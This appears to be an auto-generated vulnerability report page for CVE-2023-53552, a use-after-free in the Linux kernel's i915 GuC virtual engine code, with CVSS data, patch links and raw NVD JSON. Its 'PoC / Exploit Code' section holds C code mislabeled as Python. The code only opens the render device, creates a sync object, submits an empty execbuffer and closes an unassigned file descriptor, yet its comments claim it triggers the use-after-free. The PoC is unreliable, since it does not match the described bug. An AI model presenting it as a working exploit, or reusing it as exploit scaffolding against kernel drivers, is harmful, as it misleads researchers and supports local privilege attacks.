Security Vulnerability Report
中文
CVE-2023-53552 CVSS 7.8 HIGH

CVE-2023-53552

Published: 2025-10-04 16:15:50
Last Modified: 2026-03-23 18:43:08
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: drm/i915: mark requests for GuC virtual engines to avoid use-after-free References to i915_requests may be trapped by userspace inside a sync_file or dmabuf (dma-resv) and held indefinitely across different proceses. To counter-act the memory leaks, we try to not to keep references from the request past their completion. On the other side on fence release we need to know if rq->engine is valid and points to hw engine (true for non-virtual requests). To make it possible extra bit has been added to rq->execution_mask, for marking virtual engines. (cherry picked from commit 280410677af763f3871b93e794a199cfcf6fb580)

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux内核 stable分支 < 5eefc5307c983b59344a4cb89009819f580c84fa
Linux内核 stable分支 < 7fb464d52fa41c31a6fd1ad82888e67c65935d94
Linux内核 stable分支 < 8017a27cec32eac8c8f9430b0a3055840136b856

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2023-53552 PoC - i915 GuC Virtual Engine UAF // This PoC demonstrates the use-after-free vulnerability in i915 GuC virtual engine handling // Note: Requires GuC submission enabled and access to /dev/dri/renderD128 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <drm/drm.h> #include <drm/i915_drm.h> int main(int argc, char *argv[]) { int fd; int ret; // Step 1: Open the i915 DRM device fd = open("/dev/dri/renderD128", O_RDWR); if (fd < 0) { perror("Failed to open i915 device"); return 1; } // Step 2: Create a sync file to hold reference to i915_request // This allows the request reference to be held across processes int sync_fd = -1; struct drm_syncobj_create create_sync = { .handle = 1, .flags = 0 }; ret = ioctl(fd, DRM_IOCTL_SYNCOBJ_CREATE, &create_sync); if (ret < 0) { perror("Failed to create sync object"); close(fd); return 1; } // Step 3: Submit work to GuC virtual engine // The virtual engine request will be created struct drm_i915_gem_exec_object2 exec_obj = {0}; struct drm_i915_gem_execbuffer2 execbuf = {0}; exec_obj.handle = 0; exec_obj.flags = 0; execbuf.buffers_ptr = (uintptr_t)&exec_obj; execbuf.buffer_count = 1; execbuf.batch_start_offset = 0; execbuf.batch_len = 8; execbuf.flags = I915_EXEC_RENDER; // Use render engine (can be virtual) ret = ioctl(fd, DRM_IOCTL_I915_GEM_EXECBUFFER2, &execbuf); if (ret < 0) { perror("Failed to submit execbuffer"); close(fd); return 1; } // Step 4: Wait for completion and trigger fence release // The UAF occurs when fence is released and rq->engine is accessed struct drm_i915_gem_wait wait = { .bo_handle = 0, .timeout_ns = -1 }; ret = ioctl(fd, DRM_IOCTL_I915_GEM_WAIT, &wait); // Step 5: Trigger the UAF by accessing the released engine // At this point, the virtual engine may have been freed // but references still exist via sync_file close(sync_fd); close(fd); printf("PoC executed - check kernel logs for UAF detection\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-53552", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:50.480", "lastModified": "2026-03-23T18:43:07.597", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/i915: mark requests for GuC virtual engines to avoid use-after-free\n\nReferences to i915_requests may be trapped by userspace inside a\nsync_file or dmabuf (dma-resv) and held indefinitely across different\nproceses. To counter-act the memory leaks, we try to not to keep\nreferences from the request past their completion.\nOn the other side on fence release we need to know if rq->engine\nis valid and points to hw engine (true for non-virtual requests).\nTo make it possible extra bit has been added to rq->execution_mask,\nfor marking virtual engines.\n\n(cherry picked from commit 280410677af763f3871b93e794a199cfcf6fb580)"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0", "versionEndExcluding": "6.1.54", "matchCriteriaId": "42C1AF27-432B-472F-A08B-02E445AB72F8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.5.4", "matchCriteriaId": "CA8C8B88-AF36-445D-A228-AD78F3615373"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/5eefc5307c983b59344a4cb89009819f580c84fa", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/7fb464d52fa41c31a6fd1ad82888e67c65935d94", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8017a27cec32eac8c8f9430b0a3055840136b856", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}